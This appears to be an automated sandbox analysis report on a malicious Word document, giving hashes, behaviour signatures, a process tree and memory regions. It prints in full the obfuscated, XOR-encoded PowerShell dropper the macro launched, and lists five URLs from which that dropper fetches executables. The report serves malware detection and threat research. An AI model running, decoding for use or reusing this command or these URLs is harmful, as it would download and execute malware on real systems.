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Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    30/05/2024, 22:53

General

  • Target

    852fc4978a99b4ecdd7516cf6e264def_JaffaCakes118.doc

  • Size

    246KB

  • MD5

    852fc4978a99b4ecdd7516cf6e264def

  • SHA1

    aa5367684c2128a303d2560a5bd07205edbe4400

  • SHA256

    4f0bb94fa14926b05d3da90d10792207ae3555da2b98044b62da97d42b603fe4

  • SHA512

    c1a590d6d251993bf67c255f1062fd379eee2712ae1e02204ad158230cada8f514d5e2e562bdb9a6ac2ee513853edead595ab6c44902a269997ac529056fd780

  • SSDEEP

    3072:WH9nBf4SuEjAhmAMOc7kkkko1rkGuF3tBInxGGq5AyXJm9YBmjDzelOP3l0zTq:WFVeEsjdXRC3jexGG63YWofzes3azTq

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.dinafiler.se/0mG1fU7ud/

exe.dropper

http://www.atfaexpo.vn/Messages-2018/f7fc54gDI/

exe.dropper

http://anantaawellness.com/TFLLjCZ/

exe.dropper

http://www.salmix.com.br/6k7mXEEF/

exe.dropper

http://www.geckochairs.com/H9gozcqlX/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\852fc4978a99b4ecdd7516cf6e264def_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:912
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . ( $PsHOMe[4]+$pShOme[34]+'x')( ( '14s72%123A108,23t68%79A93_7f69A72%64,79,73_94z10X100u79A94,4t125u79s72%105t70A67f79t68t94f17,14u78,105_71%23,13A66s94t94X90z16t5A5X93,93f93,4f78A67_68X75_76u67u70f79s88f4f89,79u5s26u71z109u27t76,127%29u95z78u5,106z66,94X94u90,16%5A5,93s93,93s4f75f94,76f75s79_82A90z69%4,92t68%5z103,79f89u89_75f77X79,89s7_24_26z27f18,5,76A29_76A73s31X30%77u110X99X5s106z66z94t94t90u16z5A5s75z68,75f68z94f75u75A93s79z70t70,68u79X89s89z4X73u69A71t5f126u108_102s102,64_105%112,5u106s66f94_94f90%16X5z5,93_93,93,4t89f75t70A71A67z82,4z73%69A71u4A72z88u5t28_65z29_71t114z111f111u108t5A106u66X94t94%90,16,5,5X93z93_93,4_77_79u73%65f69%73u66s75A67s88_89f4z73,69z71X5t98X19t77f69%80z73X91,70X114_5A13X4%121z90u70A67u94,2u13A106,13u3%17%14A80z112f98X10%23,10_13,18t29z25,13t17z14X110,94f88,23X14f79X68f92s16_94t79X71f90X1f13A118u13f1f14s80s112s98u1u13%4u79u82,79A13s17,76A69,88f79%75A73u66t2z14X126s91u80u10f67u68s10u14z78%105t71,3X81,94f88f83X81f14z72t123A108A4t110_69z93A68f70_69,75t78z108X67s70s79u2X14t126_91s80_6f10%14,110X94,88z3z17f121A94u75X88,94,7t122f88%69A73u79t89_89u10u14f110z94X88s17z72%88t79,75z65u17u87%73X75A94A73t66A81f87u87' -split 'Z' -spLit'U'-spLIt'F' -SPLiT't' -SPLit','-sPlit'_' -sPLIT'S'-sPlIt'X' -SpLIT'%'-SpLit 'a'|FOREaCh{ [CHaR]( $_ -BXOr'0x2A' )})-jOiN'' )
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2880
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2960

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      9e1cb3399011854ad9eaf292fc58cf31

      SHA1

      7bec5091fac805750407402ceae4783ac6845006

      SHA256

      98d21022cc5c98d73eef17e75cca1b0355878de92affdae049a29ddef39e090c

      SHA512

      769665fe70ad8ed9d22f263e2c377baf39c984d402b81fc649f364a657e1139202bb7338fac608a0d75dae3043ee3318fa766bff99d6345769f695bbdd15f2ba

    • memory/912-42-0x0000000005B40000-0x0000000005C40000-memory.dmp

      Filesize

      1024KB

    • memory/912-36-0x0000000005B40000-0x0000000005C40000-memory.dmp

      Filesize

      1024KB

    • memory/912-15-0x00000000002A0000-0x00000000003A0000-memory.dmp

      Filesize

      1024KB

    • memory/912-41-0x00000000002A0000-0x00000000003A0000-memory.dmp

      Filesize

      1024KB

    • memory/912-40-0x0000000005B40000-0x0000000005C40000-memory.dmp

      Filesize

      1024KB

    • memory/912-39-0x0000000005B40000-0x0000000005C40000-memory.dmp

      Filesize

      1024KB

    • memory/912-2-0x000000007129D000-0x00000000712A8000-memory.dmp

      Filesize

      44KB

    • memory/912-38-0x0000000005B40000-0x0000000005C40000-memory.dmp

      Filesize

      1024KB

    • memory/912-37-0x00000000002A0000-0x00000000003A0000-memory.dmp

      Filesize

      1024KB

    • memory/912-0-0x000000002F931000-0x000000002F932000-memory.dmp

      Filesize

      4KB

    • memory/912-51-0x000000007129D000-0x00000000712A8000-memory.dmp

      Filesize

      44KB

    • memory/912-52-0x0000000005B40000-0x0000000005C40000-memory.dmp

      Filesize

      1024KB

    • memory/912-53-0x00000000002A0000-0x00000000003A0000-memory.dmp

      Filesize

      1024KB

    • memory/912-72-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/912-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/912-73-0x000000007129D000-0x00000000712A8000-memory.dmp

      Filesize

      44KB